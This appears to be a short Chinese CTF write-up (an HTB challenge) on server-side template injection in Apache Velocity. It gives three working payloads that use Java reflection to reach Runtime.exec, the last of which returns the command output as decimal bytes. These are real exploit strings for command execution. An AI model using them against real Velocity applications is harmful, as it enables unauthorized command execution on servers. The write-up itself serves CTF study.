对于Velocity模板SSTI的有回显RCE方法

这两天做 HTB 上的一个题 出了一道对 Velocity 的 SSTI，尝试网上的 payload 以后发现都有不同的缺点或者基本不可用 遂记录一下自己改出的一个能回显的 payload

题目给出了源码 很明显带有 ssti

网上的 payload1：

Copy
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

这个 payload 是用的反射 get 的 runtime 但是没有回显 在这个靶机不出网的环境下不好用

payload2：

这个是 hacktrick 给出的 理论上是带有回显的

Copy
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

其中的 $class 和 inspect 都局限很大 在这个题中完全无法 rce

基于 payload1 通过反射达到带有回显的效果：

Copy
#set($f="e".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
#set($a=$f.waitFor())
#set($out=$f.getInputStream())
#set($str="e".getClass().forName("java.lang.String"))
$str.newInstance().valueOf($out.read())
$str.newInstance().valueOf($out.read())

用这个 payload 打出的回显是 decimal 给出的 自己过一遍 cyberchef 或者再写一个循环转 chr 的语句都可以